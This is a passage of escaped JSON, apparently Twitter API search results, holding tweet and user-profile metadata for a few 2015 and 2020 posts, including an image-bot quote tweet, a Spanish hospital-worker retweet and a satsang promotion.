#\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\",\"indices\":[24,31]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/xQVrNV3BXO\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/AntiXxx666\\\/status\\\/678051776164003841\",\"display_url\":\"twitter.com\\\/AntiXxx666\\\/sta\\u2026\",\"indices\":[0,23]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twittbot.net\\\/\\\" rel=\\\"nofollow\\\"\\u003etwittbot.net\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":4599261734,\"id_str\":\"4599261734\",\"name\":\"\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\\u753b\\u50cfbot\",\"screen_name\":\"AntiXxx666\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":86,\"friends_count\":30,\"listed_count\":0,\"created_at\":\"Sat Dec 19 02:52:38 +0000 2015\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":28303,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/4599261734\\\/1450493874\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":678051776164003841,\"quoted_status_id_str\":\"678051776164003841\",\"quoted_status\":{\"created_at\":\"Sat Dec 19 03:18:35 +0000 2015\",\"id\":678051776164003841,\"id_str\":\"678051776164003841\",\"text\":\"https:\\\/\\\/t.co\\\/BF2Jkyd6qW\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":678051775409090561,\"id_str\":\"678051775409090561\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/BF2Jkyd6qW\",\"display_url\":\"pic.twitter.com\\\/BF2Jkyd6qW\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/AntiXxx666\\\/status\\\/678051776164003841\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":678051775409090561,\"id_str\":\"678051775409090561\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/BF2Jkyd6qW\",\"display_url\":\"pic.twitter.com\\\/BF2Jkyd6qW\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/AntiXxx666\\\/status\\\/678051776164003841\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":4599261734,\"id_str\":\"4599261734\",\"name\":\"\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\\u753b\\u50cfbot\",\"screen_name\":\"AntiXxx666\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":86,\"friends_count\":30,\"listed_count\":0,\"created_at\":\"Sat Dec 19 02:52:38 +0000 2015\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":28303,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/4599261734\\\/1450493874\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":3,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656885514247,\"id_str\":\"1254206656885514247\",\"text\":\"RT @joseurbinasv: Despu\\u00e9s de una larga jornada de trabajo en el hospital, Paty ya va para su casa pero deja este mensaje. https:\\\/\\\/t.co\\\/5FNc\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"joseurbinasv\",\"name\":\"Jos\\u00e9 Urbina\",\"id\":1861130508,\"id_str\":\"1861130508\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/#!\\\/download\\\/ipad\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPad\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1214634599789289476,\"id_str\":\"1214634599789289476\",\"name\":\"JOSE A RAMIREZ\",\"screen_name\":\"JOSEARA67680956\",\"location\":\"\",\"description\":\"APOYO AL 100% AL PRESIDENTE BUKELE Y SOY GRAN ADMIRADOR DE WALTER ARAUJO, SI LO OFENDEN A EL ME OFENDEN A MI Y FIEL DEFENSOR DE LOS INDEFENSOS ANIMALITOS\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":22,\"friends_count\":41,\"listed_count\":0,\"created_at\":\"Tue Jan 07 19:47:33 +0000 2020\",\"favourites_count\":2971,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":1184,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1227436246579978242\\\/XBDTkyeU_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1227436246579978242\\\/XBDTkyeU_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1214634599789289476\\\/1585688240\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 00:01:01 +0000 2020\",\"id\":1254198763679289344,\"id_str\":\"1254198763679289344\",\"text\":\"Despu\\u00e9s de una larga jornada de trabajo en el hospital, Paty ya va para su casa pero deja este mensaje. https:\\\/\\\/t.co\\\/5FNcy2j3O8\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254198673417830403,\"id_str\":\"1254198673417830403\",\"indices\":[104,127],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/5FNcy2j3O8\",\"display_url\":\"pic.twitter.com\\\/5FNcy2j3O8\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/joseurbinasv\\\/status\\\/1254198763679289344\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":383,\"resize\":\"fit\"},\"large\":{\"w\":1280,\"h\":720,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254198673417830403,\"id_str\":\"1254198673417830403\",\"indices\":[104,127],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/5FNcy2j3O8\",\"display_url\":\"pic.twitter.com\\\/5FNcy2j3O8\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/joseurbinasv\\\/status\\\/1254198763679289344\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":383,\"resize\":\"fit\"},\"large\":{\"w\":1280,\"h\":720,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[16,9],\"duration_millis\":27561,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673417830403\\\/pu\\\/pl\\\/I11us3PqI_bgan9c.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673417830403\\\/pu\\\/vid\\\/1280x720\\\/CbaIxgXze-LxTV3O.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673417830403\\\/pu\\\/vid\\\/640x360\\\/22fmow7vJ4LsuHtZ.mp4?tag=10\"},{\"bitrate\":256000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673417830403\\\/pu\\\/vid\\\/480x270\\\/gOkZOrWpiC1O2bra.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1861130508,\"id_str\":\"1861130508\",\"name\":\"Jos\\u00e9 Urbina\",\"screen_name\":\"joseurbinasv\",\"location\":\"\",\"description\":\"Maestr\\u00eda en Comunicaci\\u00f3n y Postgrado en Comunicaci\\u00f3n Estrat\\u00e9gica UCA . El mundo cambia cuando los j\\u00f3venes se involucran.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":4107,\"friends_count\":301,\"listed_count\":35,\"created_at\":\"Fri Sep 13 17:03:21 +0000 2013\",\"favourites_count\":17658,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":46439,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236740297385705472\\\/IwgSDMrz_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236740297385705472\\\/IwgSDMrz_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1861130508\\\/1583696141\",\"profile_link_color\":\"001EB3\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":13,\"favorite_count\":52,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"es\"},\"is_quote_status\":false,\"retweet_count\":13,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"es\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656877133830,\"id_str\":\"1254206656877133830\",\"text\":\"RT @StrikeVixen: https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"StrikeVixen\",\"name\":\"S T A R W I N D\",\"id\":192912527,\"id_str\":\"192912527\",\"indices\":[3,15]}],\"urls\":[],\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[17,40],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1254045914391552000,\"source_status_id_str\":\"1254045914391552000\",\"source_user_id\":192912527,\"source_user_id_str\":\"192912527\"}]},\"extended_entities\":{\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[17,40],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1254045914391552000,\"source_status_id_str\":\"1254045914391552000\",\"source_user_id\":192912527,\"source_user_id_str\":\"192912527\"}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3165116835,\"id_str\":\"3165116835\",\"name\":\"Assassin's Creed: New Horizons\",\"screen_name\":\"drivebykissu\",\"location\":\"South Carolina, USA\",\"description\":\"\\ud83d\\udd1e ENFP-A \\ud83c\\udf15 Not so secretly a werecat and many hyenas \\ud83c\\udf16 Video games\\\/Art\\\/Memes \\ud83c\\udf17 i: @Poodlepoofs \\ud83c\\udf18 b: @094px \\ud83c\\udf11 @excaliburnina \\ud83d\\udc9c\",\"url\":\"https:\\\/\\\/t.co\\\/5VmnLtpyin\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/5VmnLtpyin\",\"expanded_url\":\"https:\\\/\\\/www.furaffinity.net\\\/user\\\/kejah\\\/\",\"display_url\":\"furaffinity.net\\\/user\\\/kejah\\\/\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":353,\"friends_count\":2893,\"listed_count\":0,\"created_at\":\"Mon Apr 13 18:55:51 +0000 2015\",\"favourites_count\":31707,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":12111,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"131516\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247058931773562882\\\/G7D5sJmV_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247058931773562882\\\/G7D5sJmV_normal.png\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3165116835\\\/1573281071\",\"profile_link_color\":\"1B95E0\",\"profile_sidebar_border_color\":\"EEEEEE\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 13:53:39 +0000 2020\",\"id\":1254045914391552000,\"id_str\":\"1254045914391552000\",\"text\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/about.twitter.com\\\/products\\\/tweetdeck\\\" rel=\\\"nofollow\\\"\\u003eTweetDeck\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":192912527,\"id_str\":\"192912527\",\"name\":\"S T A R W I N D\",\"screen_name\":\"StrikeVixen\",\"location\":\"\",\"description\":\"Designer, writer, creator and destroyer. She\\\/Her, aspergers, HFA, ADHD, Trans MtF Untransitioned, I block minors and so should you. Occasionally NSFW.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":3775,\"friends_count\":1116,\"listed_count\":53,\"created_at\":\"Mon Sep 20 14:05:22 +0000 2010\",\"favourites_count\":109305,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":337243,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"304FCC\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1181727163562811395\\\/UdfatoLk_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1181727163562811395\\\/UdfatoLk_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/192912527\\\/1570580687\",\"profile_link_color\":\"19CF86\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":144,\"favorite_count\":421,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":false,\"retweet_count\":144,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656868528128,\"id_str\":\"1254206656868528128\",\"text\":\"RT @GituSharma16: #MustListan_Satsang \\n@SaintRampalJiM \\nMust watch sadna tv 7.30 to 8.30pmIST\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"MustListan_Satsang\",\"indices\":[18,37]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"GituSharma16\",\"name\":\"\\u2618\\ufe0fGitu sharma \\u2764\\u2618\\ufe0f\\ud83c\\uddee\\ud83c\\uddf3\\ud83d\\udcaf\",\"id\":1198984160951451648,\"id_str\":\"1198984160951451648\",\"indices\":[3,16]},{\"screen_name\":\"SaintRampalJiM\",\"name\":\"Saint Rampal Ji Maharaj\",\"id\":91851084,\"id_str\":\"91851084\",\"indices\":[39,54]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1229250035784699904,\"id_str\":\"1229250035784699904\",\"name\":\"Bhojram Sidar(\\ud83d\\udcafFB)\",\"screen_name\":\"Bhojram88825907\",\"location\":\"\",\"description\":\"\\ud83d\\udea9\\u0930\\u093e\\u092e \\u0930\\u093e\\u092e \\u0938\\u092c \\u091c\\u0917\\u0924 \\u092c\\u0916\\u093e\\u0928\\u0947 \\u0906\\u0926\\u093f \\u0930\\u093e\\u092e \\u0915\\u094b\\u0908 \\u092c\\u093f\\u0930\\u0932\\u093e \\u091c\\u093e\\u0928\\u0947\\u0964 must watch Sadhna tv channel night 7:30pm\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":507,\"friends_count\":470,\"listed_count\":0,\"created_at\":\"Mon Feb 17 03:44:14 +0000 2020\",\"favourites_count\":857,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":590,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237321566867918848\\\/S3t1WwBW_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237321566867918848\\\/S3t1WwBW_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1229250035784699904\\\/1585820547\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 